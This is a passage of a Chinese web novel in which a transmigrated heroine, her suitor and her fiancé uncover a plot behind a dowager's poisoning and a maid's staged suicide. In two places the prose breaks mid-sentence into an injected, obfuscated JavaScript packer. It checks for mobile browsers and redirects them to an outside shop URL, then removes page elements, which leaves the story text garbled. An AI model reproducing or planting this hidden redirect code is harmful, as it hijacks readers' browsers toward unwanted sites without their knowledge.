小白不屑讥笑:“出世?世上哪有真正出世的人?人心有所求,就不可能出世。怎么,三妹妹心中,就没有深深的渴望?” 渴望?我自然有。 我渴望21世纪的冰箱空调WiFi手机,我更渴望曾属于我的自由与平等。 我该渴望这些,我该只渴望这些。可为什么,较之这些,心头首先出现的,却是一个身影。 而就在同一刹那,这个身影,竟也出现在门口。 我呆了三秒,才意识到我没有做白日梦。是谢宁轩,是他!穿着玄色披风,正推门而入。风尘仆仆,他一丝不苟的发髻有稍许的歪斜,额前飘着丝丝碎发。 “天哪!你回来了!” 声音、脚步,都先于我的理智。眼前一亮,我直接扑了上去。 就像是看见糖人的小五小六,一点都不知矜持。 这是之后小白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262153|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鄙夷的形容。 但当下,面对我和谢宁轩旁若无人不可自已的拥抱,他只是好整以暇地翘起二郎腿,饶有兴致道:“我说,三妹妹,咱俩的婚约还没取消呢吧?” 我早就把他抛诸脑后了,只顾着瞧眼前人,不知不觉就刻在我心上,心心念念的人。 “你去哪了?怎么这么久才回来?你知不知道,我真的很担心你!”再也按捺不住,我低声吐出我的思念。 谢宁轩紧紧握着我的双臂,贪婪地打量着我,从发丝到下巴尖,一处也不能放过。 当他看到我手腕颤着的纱布,脖颈还没消除的血痕,眼眸倏地一紧,他脱口问:“你受伤了?怎么回事?你可是受伤了?” 他关切我,想知道我的一切。我亦是一样。 端详着他,我也发现,不过十日功夫,他的脸颊似乎都瘦了一圈。 “你呢,你怎么回事?为什么,为什么憔悴了?你都没有好好休息吗?眼下乌青这么重?” “是,我无法休息。无时无刻,我都在想你,羽书。”谢宁轩喃喃,深情的说,“一日不见如隔三秋,我简直……” “喂喂喂,我说你俩是忘了这还有个人吗?看不见我吗?”小白站了起来,拔高声线,不爽的说。 我和谢宁轩同时扭头,瞪着这不自觉的电灯泡。 电灯泡同志倒呵呵一笑,用睥睨的眼神打量一番谢宁轩。 后者也未作声,任他目光流转,只冷淡的看着他。 “不愧是翰林院的博士,果真是仪表堂堂、风姿俊逸,难怪三妹妹钟情了。”小白弯了弯嘴角,拱手道,“在下白鸣泉,打扰你俩亲亲我我了。只是,你怀里抱着的,目前,还是我未过门的娘子。” 这话说的忒找打了,我登时就担忧谢宁轩会不快。 他确实手劲倏地变大。但并不是生气,他反而第一时间将我揽到身后,用一种敌对、戒备的语气问:“你就是白鸣泉?金华白家的掌事人?” “是我,怎得?京城的堂堂博士,也听过我的名号?”小白傲然地抬抬下巴,还没有意识到氛围微妙的变化。 可我察觉了。谢宁轩肌肉紧绷,反手将我牢牢护住,周身散发出一种凌厉的寒气。 这是怎么了? 没待我问出,谢宁轩已森森道:“是你干的,是不是?一方面尾随、监视我,换药、买通大夫,一方面,又对羽书下手。你怎么还敢出现在这里!” 谢宁轩严厉的问句让小白一愣,眉头立马皱了起来。“你胡说什么,谁监视你了?我都不认识你好不好?” 我也懵了:“尾随、监视?有人尾随、监视你?天哪,所以你迟迟未归,是真的出事了?” 谢宁轩面无表情的盯着小白,语气冷冽:“那宫人重病不假,却不致命。是有人买通了郎中,给她下了一种昏睡的药。我赶去时久久无法苏醒,以至耽搁时间。” 原来宫中旧仆被谢宁轩派去的人自乡下隐居地带至金华,风寒加之水土不服,一下就病倒了。但郎中诊治之下,病去虽如抽丝,至少仍在慢慢转好。 可谢宁轩赶到后,此宫人忽就病势加剧,竟陷入昏迷。 谢宁轩本以为是自己一来就盘问往事刺激了她,唯有耐着性子,再请郎中医治。然数服药下去,始终不见起色。 “此人与当年旧事有关,能颠沛逃回南方隐居,绝非承受不起风波之人。即便我的问题有些尖锐,她承受不住加重病情,也不该一下就至生死之界。”谢宁轩负手而立,扑面一种威势感。 “我叫来郎中细问她的病情,却发现,郎中眼神闪躲,说话支吾,与我刚来时沉着的禀告截然相反。” “郎中,郎中被买通了?” 谢宁轩颔首:“我意识到不对,就假作无事,放他离开。也渐渐察觉,自我来后,暂居的小屋附近多了好些眼线,分明是尾随而来监视我的。” 这个时候,谢宁轩尚分辨不清,这是否是当年宫中旧案的凶手,发觉谢宁轩奉旨查案,而前来阻止捣乱。 但他执掌京城府衙两三年,手腕段位也不是吹嘘的。当下,就拟出对策,对周边跟踪之人展开了反跟踪,并派人围住了郎中坐馆的医馆。 “没花费几番精力,我就发现,跟踪我的人,竟然来自金华白府。” 129.近身侍女 小白怔住了,狐疑的目光在我和谢宁轩面上扫来扫去。 我亦心惊肉跳,不免也瞪着小白。 糟了,这几日我对他戒备不够,谈及原主落水也提了不少细节。难道他真的有问题,他才是幕后黑手? 可不对啊,白家,白家干嘛要针对原主? 意识到我眼神表情的变化,小白很无语。他一屁股坐下,自怀中掏出把水墨折扇,竟悠闲的扇起,一面开始了回怼。 “你就算是个博士,翰林院的又如何?我们白府也不是没有子嗣做官,至于跟踪你么?三妹妹,我母亲是嫌她太跳脱,一度不愿迎娶。可祖母施压后,母亲不也妥协了吗?我害她干什么?她死了,我就不用联姻了?那我恐怕得把王家闺阁少女都干掉!” 话说得极不客气,却有道理。 这段时间,我已经了解到,白王两家联姻的实质,还是因为在金华,两家产业、人情、官政界,能相扶持依靠。联姻,为的就是保证两家地位不变乃至蒸蒸日上。 至于联姻的人选,确实不重要。 而现在,白家祖母病入膏肓,更是仅剩一个看着孙子成亲的愿望在吊着。小白无所谓的态度也说明了,他早已为孝道妥协,为家族妥协,对自己终身大事,已不抱自由的希望了。 也即,白家没有理由针对王家,更不可能费尽心机,只是害一个二个闺阁女眷,而不冲着掌家核心之人去。 至于宫中旧案的核查—— 小白方才的话有些夸大,据我了解,他们白家的确与京城航运行首联合,开拓了船运生意。白家分支旁系,也确实有作官的,京官好像也有那么一两个。可惜,位卑言轻,在谢宁轩这种身份地位的人眼中,并不入流。 换句话说,白家没有可能知晓圣上的密旨,更不会阻碍谢宁轩南下查案。这一点也可从那宫人活着来到金华证明。如此次跟踪,真与当年旧案有关,地头蛇在当地行事,还能让远道而来的谢宁轩见到她的面吗? 这一点,谢宁轩也早就想通了。所以此刻他质疑的,显然是白家在看到他与我同行回来后,对他的跟踪和调查。 买通下药,拖长他公干的时间,都是为了让他不能第一时间返回王宅来找我。 “难道不是吗?”谢宁轩淡声问,“那郎中明确说了,我到的次日,就有小厮给他重金询问病人病情,要求延缓医治。当听到他支支吾吾透露,我问过此女何时能接受问询后,对方更是直接要求让她昏迷不醒,迟些好转。” “询问谁?你询问什么人,关我白家什么事?”小白耐心耗尽,唰的阖上扇子,“什么宫人,什么郎中,我根本就不知情!” 谢宁轩依旧保持着警戒状态,审视着他:“郎中可明确说了,他认识那小厮,就是你白家的人。我没有对他用刑,这都是他自愿交代的,不存在攀咬白家的可能。” 小白一嗤:“我白家多少小厮,一个郎中说认识,你就信了?我跟踪你,不让你回来,我图什么呀?你自己问三妹妹,这几天,我被她驱使的里外忙碌,落着一点好了吗?她受伤,她遇袭,她……” “你遇袭了?”谢宁轩惊了,肉眼可见的紧张起来。 小白不屑:“什么都没搞明白,倒怪到我头上来!” 说着,他竹筒吐豆子,比我更快说出了经历。末了,还愤愤问:“你自己听,她这遭遇,对我有什么好处?换成她妹嫁我,我更惨好吗!直接取消联姻,那我白家岂不也实际受损?” 谢宁轩越听脸色越严峻,挽住我的手,也逐渐握成了拳。 “羽书,都怪我,怪我松懈,竟被绊住,没有护你周全。”他抱歉的说,眼眶泛红。 我赶紧反握著他的手:“不是,怎么能怪你?这是有心人刻意的安排,就算你在,他也是换个招数。我身在内宅,总是避不开的。” “好了你们两个!腻不腻味?现在她还是我未过门的娘子,你放尊重点行吗?” 谢宁轩一听,又冷冰冰的看向他。此刻若是化作动漫,他的头顶非笼罩住一圈光环不可。 我忙打圆场:“小白,你别瞎说了。这段时间你帮了我不少,我相信此事和你白家无关,或许是有什么误会。” “误会?”小白含着一丝若有似无的笑容,懒懒靠在桌边,有一搭没一搭晃着腿。“什么误会,能让我跟个犯人一样,被审这老半天?我当我今天来看戏,没想到,自己也得上台演呐。” 谢宁轩没再废话,也不多解释,转而解开披风,自怀中掏出一张纸,揉成团丢到了小白身前。 “郎中按照我的授意,在那小厮再次出现的时候,给他也下了一点安神药。这是我自他身上搜到的采买清单拓写的,抬头便是白府花园所需。事后我找店家也核实了,这些东西,也确实送去了白府。你说不是你白府的人,这些你怎么解释?” 小白本被谢宁轩的举动激怒,可后者的话语越展开,小白也越变了面色。 “大放厥词,简直是……”小白打开了纸团,身子僵住了。 “怎么了?”我追问道,心中隐隐不安,“真是你们府上的人?” “二叔的花园……又是他?”小白喃喃一句,再不复方才的云淡风轻。 诘问到此为止,因为小白的小厮忽然冲了进来,趴倒在地大哭:“大少爷!你快回去看看吧!老夫人不行了!” 小白脸色巨变,起身欲走。 谢宁轩忽然伸手又拦住了他,在小白不耐烦拂袖之际,附耳轻语了一句话,小白立时就惊了。 接下来,二人的眼神又交汇在一起,这次,似有一些我看不懂的元素在碰撞。 “我跟你去看看。” “好。”小白竟然应下,朝我简单点了点头,转身便走了。 谢宁轩则侧身对我说:“抱歉羽书,我去瞧瞧,证实我一个猜测。你稍等等,我即刻便回,好吗?” 余光是小白匆匆的背影,谢宁轩的声音也深重暗哑。我知道,他发现了要紧的线索,便也没再耽搁,只叮嘱一句万事小心。 接下来,我便去了客院,辗转反侧的等着,等着。 三更时分,噩耗传来,白老夫人还是去了。 谢宁轩也在稍后,拖着沉重的脚步,回到了客院。 “你回来了!白老夫人她……” 谢宁轩拉住我的手,谨慎的看了眼窗外,先问:“这么晚,你怎么还在这里?” “你放心,我换了梨梨的衣服过来,她正躺在我的床上。你瞧,我都没点蜡烛。没人知道我过来了。” 谢宁轩这才放心,旋即便丢下重磅:“羽书,此事果然内有玄机。幕后黑手,针对的不止你们王家。” 我当即就脊背一寒。 “你、你是说,白、小白……” 谢宁轩语气哀沉:“白老夫人过世,就是被人设计了。” “什么!老夫人不是已近钟鸣漏尽了吗?我听祖母说,全凭药吊着。怎么,怎么她也……” “面上看,的确是大渐弥留,郎中本也以为寻常。我着郎中仔细检查她服用的药渣,这才发现端倪。” 脑子和成了糨糊,我混乱不已。 “怎么……什么……等一下,你怎么会特意让郎中检查药渣,你、你是提前就发现了什么吗?” “嗯。”谢宁轩不无遗憾的说,“早知此事竟关系老夫人的性命,今日我回来后,该第一时间通知白公子的。” 原来谢宁轩在发现买通郎中的小厮归属白家后,没有松懈罢手,反而加紧了监视。通过数日的跟踪,发现此小厮每日定时定点赶赴城中一家医馆,郎中见他来,便递出一包药,十分自然,并不避人。 谢宁轩据此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267911|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推测他是在为府上某人拿药。 可蹊跷的是,他每日取药后,并不直接从大路回府,反而会绕道小巷,更在某处阴暗角落停留片刻。 “因为跟踪的不便,几日都没理出缘由。”谢宁轩深吸口气,“直到我回来的前一日,待他离去后,我进入小巷细细查找,才在角落发现了些风干的药材,零零总总扔在树根处,看数量,远超一日药量。” “药材?”我呆了片刻,才反应过来,惊问,“你的意思是……这小厮换了老夫人的药?” 谢宁轩阴沉道:“今晚我听到白公子下人传话,心内就有不好的预感。果然,在我要求下,郎中真的查出药渣有问题。我就向郎中描述了树根下药材的形状,猜测也得到了证实。那药并不名贵罕少,却是她药方中的引子,能吊住她的心脉。只要坚持服用,一两月时间还是有的。” 天哪,所以小厮只消微微动手脚,去掉这味药,就会令她病情汹汹,无力回天。 “是、是同一个幕后黑手?”我听到自己的声音,遥远、颤抖。 “恐怕是。”谢宁轩表情也很肃穆,“因为今晚,还发生了另一件事。” 小白心系祖母,出了王宅后跃马扬鞭赶回,是见到了祖母最后一面的。但之后才赶到的谢宁轩,踏入白府,已听到层层叠叠的哭声,尤以一个尖利的女声最甚。 那是一个叫阿兰的丫鬟,自小便侍奉在白老夫人身侧,感情极深。她承受不了打击,见老夫人终是仙去,竟就在嚎哭过后,一头撞墙。 白家主仆皆惊,以为她对老夫人尽忠,愿随去九泉侍奉,当即下令给她重礼治丧。 可发现了端倪后,阿兰的嫌疑就浮出了水面。 因为每日烹煮药材喂老夫人的,便是这个阿兰。 听到此处,我尚有些糊涂。中药本就是由多种药材熬制,多了少了一味药,普通人很难察觉。再说,郎中或许会根据病人病情变化而调整药方,丫鬟以为药有改变,这也能讲得通啊。 谢宁轩却道:“问题是郎中说,药引会将熬煮的药水变成黑色,有没有它,其实很容易看出。在开药之初,他还当着白家众人的面,叮嘱自己的医馆学徒,一定要多备这种引子,接下来数月,老夫人都会需要。” 哦,我明白了。 阿兰作为近身侍奉的婢女,又和老夫人感情极深。药有变化,她不可能没有察觉,即便以为药方调整,也断不会不给主子们汇报。 “我将郎中说辞告知了白公子,他大惊失色,当即派人去拿那取药的关键小厮,却落空了。白公子咬牙切齿地说,此人正是老夫人身侧的管事,平素就负责采买老夫人院中所需。那么,他和阿兰共谋,就顺理成章了。” 谢宁轩顿了顿,又点出关键之处,“阿兰可是老夫人极为信任的近身侍女。羽书,又是近身侍女。” 天哪,是啊!原主身边的橙橙,白老夫人身边的阿兰。 还有翠红,老四逐出的那个贴身丫鬟,她也有问题,对不对?毕竟二姐和表妹描述中,引蛇放入棠阁,正是她向老四提出的;大刘偷看老四更衣,也是她斥责,被小五小六听见。 “阿兰撞墙而亡,现在已无法追究,到底是心有愧疚,还是被幕后黑手胁迫。但手腕相似度太高了,羽书,我实在不得不怀疑,这是同一双黑手。” 明明坐在屋内,明明点上了炭火,我的四肢却像大雪掩盖,冰的透彻。 谢宁轩注意到了,他伸手揽住我的肩,像一杯热茶氤氲出起雾,舒缓着我心中的褶皱。 “羽书,别怕。我回来了,再也不会让你一个人涉险。何况,白公子,待他从悲痛中走出,也一定会成为我们的助力。” 我咬牙握拳,生生咽下仰天骂街的冲动,才注意到他最后一句。 “小白……你已经确定了,小白没有嫌疑?” 130.我帮你 谢宁轩颔首:“嗯,一方面是祖孙情谊,应当不假。白公子今日辩解也在理,他确实对你、对王家,不存在动机。” “嗯,另一方面呢?” “今日在白老夫人院中,白家算得上的主子都来跪送老夫人,加之郎中请了不止一个,学徒小厮,外人也多。白公子那厢,可以清楚看到他的掌家人身份,他出现后,所有人都在等着他的命令行事。但短短时间,我还是察觉到,白家内里,还有一股力量,在隐隐的和他作对。” 我一听这话,就倏地想起了红觉寺的壁角,立马反应过来:“是白家二房,小白的二叔,是不是?小白身边的人曾说过,二房巴不得看他的笑话。” 祖母也曾提及过,小白虽是掌事人,白家二叔也实际管事,她还叫我嫁过去后要懂事,帮着小白分担…… 一艘大船,这大副,正虎视眈眈盯着掌舵船长之位啊! “嗯,我也这么认为。听白家人说,这个关键小厮,他近来还负责了另一项事务,便是给白家二叔在城外的别院采买。” 那张采买清单上的白家花园,是白二叔的! “好家伙,那跟踪、监视你,就是白二叔授意的了?他到底想干什么?暗害老夫人,又能对争权夺利有什么好处?” 还有原主,难道谋害原主,也是白二叔做的? 但杀了原主,小白还是会奉命迎娶其他王家女儿,婚约并没有就此取消……唔,这才是我回来后遇袭的原因?还是为了解除白王联姻,不惜毁了王家名声? 小白不止一次说过,白王联姻也能从客观上维护白家利益。那么,即便与小白有纷争,白二叔到底也是白家一员,为何要损害自家利益?杀敌一千,自损八百? 谢宁轩不置可否,只说:“今天我点破此症结,我感觉,白公子是早有察觉的。他露出了若有所思的表情。” 小白早就知道了? 我有些茫然,拿不准这句话背后的深意。小白,在我看来,应该是可以信任的啊。 “羽书,”谢宁轩握着我的手,又加重些微力道,“金华不太平,暗流涌动。我看咱们还是得速战速决,尽快揪出幕后黑手。” 话是没错,可我现在被困在内宅,祖母PTSD,根本不让我出门,我可怎么核查? “有我在,羽书,放心。之前都怪我大意,竟中了圈套被拖慢进度,以致无法护你周全。”他含了薄薄一层怒意,“竟想出毁人清白的下作手段,真谓无耻!” 心被柔软抚住:“没事,我和垂柳都只受了点小伤……” “小伤?”谢宁轩碰了碰我手腕的纱布,心疼溢于言表,“羽书,疼吗?怪我,都怪我……”他喃喃,后怕与愤怒交织着。 “不疼了,真的不疼了。怎么能怪你?你也是被设计了。”我问出心中的不安,“那宫人,你最后问出供词了吗?” “嗯,我威胁郎中,要以他有违医道害人性命为由告官,他吓得要命,旋即就为宫人用心诊治,也确实让她苏醒了。”谢宁轩眼神一黯,“可交代完自己做过的事后,她还是去了。” “她死了?”我霎时担忧,“她的确害了那妃子?那她现在死了,你可怎么交差啊?” “无妨。”谢宁轩却道,“当年案件,她只扮演了微小的角色。还记得我说的吗?圣上根本不在意她的死活,圣上要的是清晰的案件复原。现在,有她口供,我已经搞清了谜团一角,这就足够了。” 我松了口气,也没再追问了。眼前的荆棘太多,重重压着我的神经,实在无暇分身。 接下来的日子,谢宁轩便在外开始了调查。 我不知道他有没有向金华府丞表明真实身份,还是仅仅翰林院博士加三殿下的金牌,就成功狐假虎威,让后者同意邓科等人化身扮作了衙差,方便在坊间游走。 每天,我都去客院找他头脑风暴,问问最新进展。还偶遇了来恭维的三叔三婶,场面一度尴尬。 不过这七天,我更多的,还是侍奉在祖母塌前。 她老人家和白老夫人相交数十年,纵使早对白老夫人时日不多有心理建设,也没料到,她去的那么突兀。 深夜的噩耗,没人敢惊动她。等她次日一早得知,气血攻心,直接晕了过去。 王宅上下全都手忙脚乱,好在她很快苏醒。随即来的便是大悲,她拍着床帏哽咽不止,不顾众人反对,仍然郑重梳妆,要去白府送故交一程。 亲眼看到棺木与白帷,对祖母这把年纪而言,打击太大。她回来后便也病倒,一度都起不来床,直到白老夫人头七过后,才略略好转。 是日,我刚从祖母房中侍疾归来,正欣慰于祖母午饭多吃了两个丸子,小白忽然推门而入。 一如往常的白袍装扮,在白事中倒也不违和。可他周身气场低沉,透着一种萎靡不振的气息,这在开朗豁达的他身上,还真是罕见。 进门后小白什么也没说,只灌了大口茶,默默发呆。 我知他心情沉痛,便也不问,只安静陪坐着。 半晌,小白开口,声音嘶哑:“有吃的吗?” 我将床头大盘点心端来,就看小白二话不说,抓起一块就往嘴里塞。我刚给他满上杯茶,端起来就灌。 我看的吃惊,忍不住问:“你怎么这样饿?要我叫点饭送上来吗?” 小白喘着粗气:“几天没吃饭了,饿死了。” 难道青朝守孝不能进食?这规矩我不懂,也不敢评论,只好将盘子朝前递了递,示意他再多吃点。 小白睨我一眼:“我说我几天没吃饭了!你就给我吃这个?” …… 真难伺候啊,大少爷! 我刚刚起身准备出去叫饭,小白忽然开腔:“头七还没过完,已经要分家了。偌大的白家,也不过一盘散沙。” 我一怔,一时间不知如何回复。 小白讪笑两声:“不好意思啊,跑来找你诉说这个。” 我摇摇手:“没关系的,你可以告诉我,我这人嘴巴最严了,会替你保密的。” 小白弯了弯嘴角:“是吗?你知道很多人的秘密吗?” 后世办公室男男女女的绯闻,我还真知道不少。“秘密谈不上,顶多算是八卦。” “八什么?”小白笑容更盛,“嗬,我还当三妹妹心性成熟了,原来还是小猴精。” 我也跟着笑起来,又问:“你不是说,每个府邸里都有斗争,男人就要争权势、争地位吗?你看的这么透彻,怎么还会这样沮丧?” 小白苦笑:“搁自己身上,还是多少让人难过的。” 我想起这几日侍疾,祖母塌前永远一两个人,我来,老四就走;我走的时候,二姐才肯进屋。也许王家,也变成散沙了。 一时间,我们两个都沉默了。 少顷,梨梨端来几道小菜,小白半趴在桌上,狼吞虎咽,吃相比天蓬元帅好不到哪去。吃着吃着,还指着盘子对我招手,示意我靠近听他说话。 我忙将耳朵凑前,听他卡着嗓子开口,吐出二字:“咸了。” 嗨!我以为他要说啥呢! 见我要翻白眼,小白咽下一口饭,突然又丢一雷:“三妹妹,咱俩完了。” 我一惊:“完了?什么完了?你查到什么,出什么事了?怎么就完了!” 小白没理我的连声追问,摇摇手:“我是说,咱俩的婚约完了。” …… “当然,你要是还想嫁我,我可以等你啦。” 我疑惑的想了想:“你守孝停娶三年,怎么说,也应该是人家姑娘等你,你等个什么劲?” 小白一拍手掌,乐了:“好!就这么说定了,那你等我!” 我看着他得逞的笑容,很是无语:“你怎么这么幼稚?我几时说要等你了?” 小白收回笑脸,没好气道,“一说三年就不等,你们女人啊,善变!” 我真是气笑了:“大哥!我一早就说咱俩不可能的,我哪里善变 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“傻眼了吧?之前还看不上我,现在后悔了吧,还不如嫁给我呢。”小白调侃着,忽地语气一转,露出锋芒,“三妹妹,你是打算和凌兄私奔呢吧!” 我大惊,下意识连连否认。 小白却拟出看破一切的奸猾笑容,徐徐道:“你祖母最是心疼你,为你择婿耗费脑筋,怎么可能让你跟个来历不明的人私奔?” 来历不明? 小白怎么用了这个词! 我惶惶不安,小白已经坦然笑道:“真当我傻,当你家老太太看不穿呐?凌兄玉质金相、龙章凤姿,一举一动贵气凌人,哪像是个没根没基的翰林院苦学子?御青王府的金牌,他用起来也是随意轻佻,这能只是个王府讼师?嘿嘿,他有身份,不简单的吧?” 小白凑近来问,惊得我险些坐不住,不敢多说。 好在小白也没揪住不放,他又靠回椅背上,笑容随性。 “出门在外有意掩饰,都是人之常情,你家老太太也懂。但儿女婚事嘛,不查问男方人品修养、家世门风,不打听家中人口、婆母性情,她怎么可能允你出嫁?加上凌兄总是京城来的,她呀,这次是一点也不想放你离开金华了。你瞧着吧,她要不首肯,你爹就算应下,这事也没那么简单,除非呀,你根本不在意她的健康。” 我被小白说的心烦意乱,下意识问了句:“那、那该怎么办?” 小白嘴角勾起,玩味地说:“我帮你呀。” 我狐疑的、胆战心惊的看着他,就听他继续说,“现在你家老太太还没回过神来,还有些时间,咱们把案子先查完。然后,你就去给老太太说,你愿意等我三年,非我不嫁,叫她不要给你安排其他婚事。” 这怎么听着不像是帮我? “我呀,最近要出远门,到时候就打着游历的名义,把你带上。等我回金华的时候,就给你祖母说我和你没挡住火热的感情,已经做了夫妻,无奈礼教不能破坏,所以不敢带你回家,和你安家在外地了。”小白懒洋洋讲完。 我听懵了,忍不住质疑三连:“我一个未出阁的姑娘,和你一个戴孝的公子,一道出门游历?祖母怎么可能让我去,即便答应,祖母要去外地瞧我怎么办?三年之后又怎么办?” 小白丢给我一记白眼:“想那么多干嘛?先用这种理由离开,你和凌兄不就回到京城了吗?以后的事情以后再说!” 我瞪着小白,总感觉他在给我挖坑。 “那这样,你就说你对我芳心暗许,非我不嫁,自愿等我三年,然后再一哭二闹三上吊,你祖母肯定拗不过你。我们白家和你们王家,多少年的关系了,我母亲看你这样情真意切,肯定也能同意。” 这回,我听明白了。 我伸头过去,像他刚才一样逼向他:“呵呵,我看是你根本不想娶妻,所以利用我呢吧!” 131.东来赌坊 小白眼风扫过来:“互相帮忙嘛,瞧你说的难听的。” “谢谢你!什么破主意,不咋地。” 小白摊手:“嘁,那你要是不相信我,只能暗夜翻墙跑了。” “呸!这哪行!祖母发现我离家出走,不得气死伤心死?” 小白一拍桌子,一脸恨铁不成钢:“你怎么这么笨!你留下封信,情真意切一些嘛!老太太就算开始生气伤心,随着时间流逝,也只会化作思念。等你和凌兄逃回京城煮成熟米,生下个娃娃,抱回来看望老太太,到时候就只有祖孙情谊,没有那么多束缚了。” “这……”我嘴角颤抖,感觉还是很不靠谱。 “放心吧,从水路怎么北上,陆路怎么南下,我早都摸清了。你俩真要跑,一句话的功夫,就能飞出老太太的手眼。” “……真的会谢……”我挤出几个字,复又捕捉到一丝蹊跷,不由追问,“摸清水路、陆路,咦,你摸清这干嘛?” 小白嘴角噙着一丝笑容,懒懒道:“离家呗,我也有过计划。” 他也想离家出走? 这一瞬,我赫然意识到,原来他随口说的,都是真的。原来他在白家,是真的不快乐。 生性随性豁达,却背负着白家长孙的名头,或许这权势与地位,才是真正束缚他的枷锁。也许他也曾想一走了之,去看山川,去看星辰大海,去过寄情山水、肆意酣畅,泛舟湖上、喝酒纵歌的人生啊。 原来这世界,不仅我一个格格不入的外人想要自由,还有他这样的贵公子,也在追求心中的风光霁月。 我生出了惺惺相惜的感觉,又拍了拍小白的肩。 “行了,你和凌兄商量好吧。”小白伸个懒腰,朝门口探身望望,“凌兄人呢?怎么还没来?我差人给他说了呀,今天我要过来,让他也来你这棠阁。有我在,你祖母不会说什么的,也给你们俩创造个见面机会嘛。” 凌兄,咦,对哦,他的称呼怎么都变成凌兄了? 还创造见面机会?帮我俩跑路?什么鬼,你们俩几时这么要好了? 懵逼之际,谢宁轩还真的来了。 我站起身迎上前,还没说话,小白的声音响了起来:“怎么样,我说的没错吧?是不是杜老头掌勺的酒楼?” 谢宁轩没回答,而是握住我的手,朝我上下瞧瞧。这几日他每天见我,都要观望端详,好像生怕一日不见,我就能少块肉似的。 小白嗤了一声:“行了,如珠如宝的,真腻味!” 出乎我预料,谢宁轩也没恼,他拉我坐到了小白对面,竟道了声谢:“多谢白兄指点,我抓起来审问了,可惜杜父并不知情。” 小白眉头一皱:“和他无关?” “他只是个大厨,想要在莱凤阁藏人,能不惊动掌柜等人,本也难。” “你们这说什么呢?”我听糊涂了,忙不迭打断,“什么杜老头,什么莱凤阁……唔,这个名字好像有点熟悉。” 小白眼神睨过来:“还说自己在内宅探查呢,这都没意识到?” “你是说……哦,对!”我一拍脑门,想起来了,“二姐生母杜姨娘!杜姨娘父亲就在莱凤阁掌勺!祖母提过!” “是,没错,就是那个酒楼。”谢宁轩颔首,脸色不太好,“羽书,我们还是去晚了。找到人,却已来不及。” 我心一惊:“找到橙橙,她却死了?” “错。”小白摊手,“另一个,说的是翠红。” 翠红死了? 太阳穴跳了起来。但说实话,这个结果,我并没有太意外。 翠红太可疑了,我一早就怀疑她也被幕后黑手买通了。同样是贴身丫鬟,不是吗?这是同一个路数。 阿兰死了,橙橙下落不明,翠红若也背叛了老四,她被灭口,符合逻辑。 但我还是有些诧异,我以为她会死的无声无息,没想到,小白只是晚了一步。 “哼,要不是我那长随唧唧歪歪,说什么守孝期间不宜进酒楼,我就能拦下她自杀了!” 这话让我震撼,在于两点—— “什么?她是在酒楼死的,不是跑路了被你们追查到?而且还是自杀?” 小白表情阴郁:“当着我的面跳的楼,大头朝下,当场没救。” 原来自从我拜托小白追查翠红,他便先去了庄子上,毕竟那是明面上,翠红被逐出后安排做活的地方。可翠红不在。 几经周折,小白终于打听到,她躲在莱凤阁。 “金华最贵的酒楼,凭一个丫鬟的工钱,怎么可能住的起?”谢宁轩道,“除非……” “幕后黑手给了钱开房,或者幕后黑手就是莱凤阁一员。”我接过话头,心绪复杂。 没想到,峰回路转,此事竟又关联到了二姐生母。 但莱凤阁客人络绎不绝,包间也多,不方便查找。加之它背后也是大佬开设,小白一开始,并不想引起不必要的麻烦。 这时,又逢白老夫人出事,小白便将调查的进展全权告知谢宁轩,让后者以官府名义介入。并点出,这莱风阁的杜大厨,和我遇袭的推手之一的关系。 谢宁轩本就恼怒幕后黑手调虎离山,趁机对我下手,这一听还得了,直接派人拿下杜大厨,带到府衙里审问。当然,对外,则用了杜大厨殴打邻居被带走的借口搪塞。 只是审问之下,杜大厨真的并不知情,什么翠红什么橙橙,他连外孙女对我顺水推舟的谋划都不知道。 “这么说,二姐和杜姨娘没有嫌疑了?” 小白耸耸肩:“谁知道呢,反正蹊跷的紧。” “那你们刚说翠红自杀,又是怎么回事?” 小白努嘴看向谢宁轩:“这不昨天接到凌兄消息,让我去莱凤阁小坐,吸引敌人注意力吗?你知道的,我这等身份,自然是莱凤阁常客呀!小二认出来我才招呼上,突然有人在二楼拍了拍手。说实在的,当时我都没认出来是谁!她就跳下来了!我这才恍然想起,她替你四妹送过帕子!” 小白的讶异溢于言表,我马上就发现了端倪。 “不对啊,这怎么听起来,像是故意自杀给你看的呢?” “不是像,就是。”谢宁轩沉声道,“白兄去之前,我安排的人手已经监视了几日,发觉此女每日都从屋中潜出,趴在二层栏杆处向下窥探,似乎在等什么人。当时我以为,她等的就是幕后黑手。而白兄去时,明明还没有和小二搭话,没有察觉她的存在,她的身旁也没有其他人,她却主动跳下,更在跳楼前大呼一声引起白兄注意,这分明,就是故意要跳给他看的。” 小白重重点头,又谨慎的瞟了眼窗外:“接下来才可怖。我不是马上就去看掉下来的她了吗?已经奄奄一息了,她对着我就说了两个字,然后就没音了。凌兄冲进来还想施救呢,已经来不及了。” 我朝谢宁轩投去目光,四目相对,是同一个猜测在碰撞。 “她说了什么?你别告诉我,她说的是‘东来’?”我暗哑的问。 小白看看我,又看看谢宁轩,一拍手:“神了!你俩说的话都一样!当时凌兄也是这么问我的!” 心沉了下去,我可笑不出来。 翠红真的也是幕后黑手利用的一环! 那大刘偷窥老四,能是真的吗?难道是翠红诬陷的?可翠红当时没有声张呀?若非小五小六听见,此事还不至于外泄。 难道是她想凭此威胁大刘,让他为自己做事?偏偏小五小六听见,事态一下就不受控制了? 